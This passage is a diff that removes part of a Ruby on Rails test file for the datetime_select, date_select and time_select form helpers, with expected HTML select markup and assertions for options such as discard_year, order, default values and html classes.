-    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_datetime_select_with_auto_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = @post.id
-
-    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post[]", "updated_at")
-  end
-
-  def test_datetime_select_with_seconds
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
-  end
-
-  def test_datetime_select_discard_year
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
-  end
-
-  def test_datetime_select_discard_month
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
-  end
-
-  def test_datetime_select_discard_year_and_month
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
-  end
-
-  def test_datetime_select_discard_year_and_month_with_disabled_html_option
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="15" />\n}
-
-    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
-  end
-
-  def test_datetime_select_discard_hour
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
-  end
-
-  def test_datetime_select_discard_minute
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
-  end
-
-  def test_datetime_select_invalid_order
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
-  end
-
-  def test_datetime_select_discard_with_order
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
-  end
-
-  def test_datetime_select_with_default_value_as_time
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
-  end
-
-  def test_include_blank_overrides_default_option
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %(<option value=""></option>\n)
-    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %(<option value=""></option>\n)
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %(<option value=""></option>\n)
-    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
-  end
-
-  def test_datetime_select_with_default_value_as_hash
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
-  end
-
-  def test_datetime_select_with_html_options
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-    expected << "</select>\n"
-
-    expected << " &mdash; "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
-  end
-
-  def test_date_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    date_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_datetime_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    datetime_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_time_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    time_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_date_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
